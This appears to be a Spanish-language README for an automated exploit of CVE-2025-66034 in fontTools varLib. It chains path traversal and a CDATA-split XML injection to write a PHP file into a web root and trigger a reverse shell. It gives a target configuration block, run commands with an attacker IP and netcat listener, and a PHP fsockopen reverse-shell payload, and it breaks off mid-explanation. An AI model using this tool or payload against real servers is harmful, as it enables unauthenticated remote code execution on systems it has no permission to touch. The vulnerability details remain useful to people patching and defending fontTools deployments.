Exploit automatizado para CVE-2025-66034, que encadena path traversal e inyección XML en fontTools varLib para lograr ejecución remota de código sin autenticación mediante la carga de un archivo .designspace manipulado.
fontTools varLib — Escritura Arbitraria de Archivos + Inyección XML → Ejecución Remota de Código
CVE-2025-66034 es una vulnerabilidad en el pipeline de generación de fuentes variables fontTools.varLib. Cuando una aplicación web expone este pipeline y acepta archivos .designspace proporcionados por el usuario, dos debilidades se encadenan para lograr ejecución remota de código sin autenticación.
font_varlib.py automatiza toda la cadena de explotación — generación de fuentes, creación del payload, carga y entrega de la reverse shell.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Paquete | fonttools (pip) |
| Rango Afectado | >= 4.33.0, < 4.60.2 |
| Corregido En | 4.60.2 |
| Gravedad | Moderada (CVSS 6.3) |
| Vector de Ataque | Local (requiere carga de archivo en el objetivo) |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Requerida (disparador de carga) |
| # | Primitiva | CWE | Causa Raíz |
|---|---|---|---|
| 1 | Path Traversal | CWE-22 | El atributo filename en .designspace se pasa directamente a os.path.join() sin sanitización — las rutas absolutas descartan por completo el directorio de salida previsto |
| 2 | Inyección XML | CWE-91 | Las secciones CDATA de <labelname> permiten que una secuencia de división (]]]]><![CDATA[>) cuele PHP crudo más allá del parser XML en el archivo de salida escrito |
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
Dependencias:
pip install fonttools requests
Sistema:
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Antes de ejecutar, abre font_varlib.py y actualiza el bloque de configuración al inicio del archivo para que coincida con tu objetivo. Cada valor tiene un comentario en línea que explica qué es y cómo encontrar el valor correcto.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Consejo: Intercepta una solicitud de carga legítima en Burp Suite para confirmar
UPLOAD_ENDPOINTy los nombres exactos de los campos multipart antes de ejecutar. Una discrepancia en los nombres de los campos provoca un fallo silencioso: el servidor devuelve HTTP 200 pero no se escribe ninguna shell.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| Argumento | Obligatorio | Predeterminado | Descripción |
|---|---|---|---|
--ip | ✓ | — | IP del listener del atacante |
--port | ✓ | — | Puerto del listener del atacante |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Endpoint de carga (POST) | |
--webroot | WEBROOT | Ruta de escritura en el sistema de archivos del servidor (debe ser accesible por web) | |
--shell | SHELL_HOST | URL base utilizada para ejecutar la shell escrita | |
--no-listen | false | Omitir listener automático de nc — solo disparo |
Se generan programáticamente dos archivos fuente .ttf mínimos pero estructuralmente válidos usando fontTools.FontBuilder. varLib requiere al menos dos masters de eje para procesar una fuente variable; estos satisfacen ese requisito sin necesidad de archivos de fuente reales en disco.
Se construye un archivo XML .designspace malicioso que incorpora ambas primitivas de ataque:
Primitiva 1 — Inyección XML mediante división de CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
La secuencia ]]]]><![CDATA[> termina el bloque CDATA actual e inmediatamente abre uno nuevo. El parser XML procesa esto como marcado válido, pero varLib serializa el contenido tal cual en el archivo de salida — incrustando PHP crudo en el binario de la fuente.
Primitiva 2 — Path Traversal mediante el atributo filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib construye la ruta de salida como: